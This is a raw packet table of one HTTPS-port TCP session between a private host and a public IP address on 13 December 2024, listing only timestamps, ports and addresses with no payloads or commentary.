Dec 13, 2024 13:28:36.542094946 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.542165995 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.543360949 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.543412924 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.545351982 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.545423985 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.547362089 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.547422886 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.548496962 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.548553944 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.550482988 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.550532103 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.552644968 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.552701950 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.553750992 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.553801060 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.555721998 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.555766106 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.558249950 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.558304071 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.559220076 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.559278011 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.643531084 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.643614054 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.644108057 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.644165993 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.701857090 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.701937914 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.702497959 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.702558041 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.704389095 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.704442024 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.705625057 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.705697060 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.707801104 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.707850933 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.709625006 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.709686995 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.710714102 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.710769892 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.713071108 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.713131905 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.714903116 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.714963913 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.716051102 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.716119051 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.718164921 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.718230009 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.720204115 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.720268965 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.722304106 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.722388029 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.723438978 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.723506927 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.725424051 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.725503922 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.727497101 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.727571964 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.728733063 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.728792906 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.730722904 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.730783939 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.732785940 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.732850075 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.734271049 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.734333038 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.735424042 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.735479116 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.737591982 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.737653017 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.739628077 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.739689112 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.741656065 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.741738081 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.742877960 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.742944002 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.744791985 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.744853973 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.747030020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.747085094 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.748048067 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.748095036 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.750072002 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.750123978 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.752226114 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.752300024 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.835695028 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.835773945 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.836232901 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.836291075 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.893868923 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.893944979 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.894531012 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.894584894 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.896682978 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.896759987 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.898641109 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.898699999 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.899856091 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.899914026 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.901864052 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.901992083 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.903862000 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.903923035 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.905029058 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.905107021 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.907119989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.907212019 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.909209967 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.909281015 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.910307884 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.910377026 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.912539005 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.912609100 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.914382935 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.914460897 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.915534973 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.915594101 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.917773962 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.917841911 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.919729948 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.919796944 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.921724081 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.921777964 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.922914982 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.922976971 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.925112963 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.925160885 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.926578045 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.926637888 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.928548098 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.928601027 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.929697037 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.929755926 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.931843996 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.931914091 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.933950901 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.934024096 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.934969902 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.935050964 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.937150955 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.937249899 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.939232111 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.939291000 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.941129923 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.941205978 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.942240953 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.942298889 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.944276094 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.944356918 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.027851105 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.027990103 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.029397011 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.029470921 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.086404085 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.086471081 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.087765932 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.087827921 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.088963985 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.089019060 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.090986013 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.091041088 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.092967987 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.093019009 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.095072985 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.095124960 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.096246958 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.096313953 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.098232985 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.098324060 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.100958109 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.101031065 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.102274895 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.102339029 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.103943110 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.104022026 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.105815887 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.105885029 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.106889009 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.106951952 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.108695984 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.108764887 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.110872030 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.110961914 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.111933947 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.112010956 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.114041090 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.114110947 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.116076946 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.116144896 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.117264032 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.117321968 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.119790077 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.119900942 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.120984077 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.121053934 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.122935057 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.122996092 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.125063896 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.125149965 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.126245022 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.126312971 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.128173113 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.128235102 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.130237103 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.130295038 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.131391048 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.131452084 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.133572102 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.133645058 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.135504961 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.135569096 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.136673927 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.136840105 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.220194101 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.220269918 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.221493959 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.221570015 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.278400898 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.278476000 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.280076027 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.280132055 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.281322002 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.281373024 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.283376932 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.283499002 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.285331011 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.285387993 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.286489964 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.286551952 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.288614988 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.288696051 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.290563107 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.290632010 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.291714907 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.291815996 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.294120073 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.294188023 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.296135902 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.296200991 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.297956944 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.298023939 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.299225092 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.299278021 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.301167965 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.301230907 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.303255081 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.303307056 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.304450989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.304503918 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.306343079 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.306407928 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.308471918 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.308542967 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.309611082 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.309657097 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.311173916 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.311228991 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.313268900 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.313324928 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.315294981 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.315366030 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.317379951 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.317440033 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.318583965 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.318665028 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.320527077 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.320586920 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.322617054 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.322668076 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.323868990 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.323931932 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.325773954 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.325831890 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.327898026 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.327961922 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.329016924 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.329081059 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.412417889 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.412595987 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.413634062 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.413865089 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.470930099 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.471132040 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.472747087 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.472877026 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.473860979 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.474052906 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.475824118 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.475976944 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.478003025 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.478482008 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.480380058 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.480664968 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.482167959 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.482419968 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.484127998 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.484334946 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.485042095 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.485614061 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.486603975 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.486675024 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.488370895 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.488476038 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.489525080 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.489630938 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.491709948 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.491986036 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.493856907 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.493936062 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.494837999 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.494944096 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.496992111 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.497077942 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.498883009 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.498953104 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.500137091 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.500253916 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.502532959 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.502660990 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.503690004 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.503766060 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.505839109 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.505920887 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.507836103 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.507942915 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.508990049 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.509057999 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.511042118 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.511166096 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.513065100 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.513118982 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.514204025 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.514333010 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.516308069 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.516396999 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.518287897 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.518361092 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:37.519448042 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:37.519604921 CET	49732	443	192.168.2.10	91.134.10.168
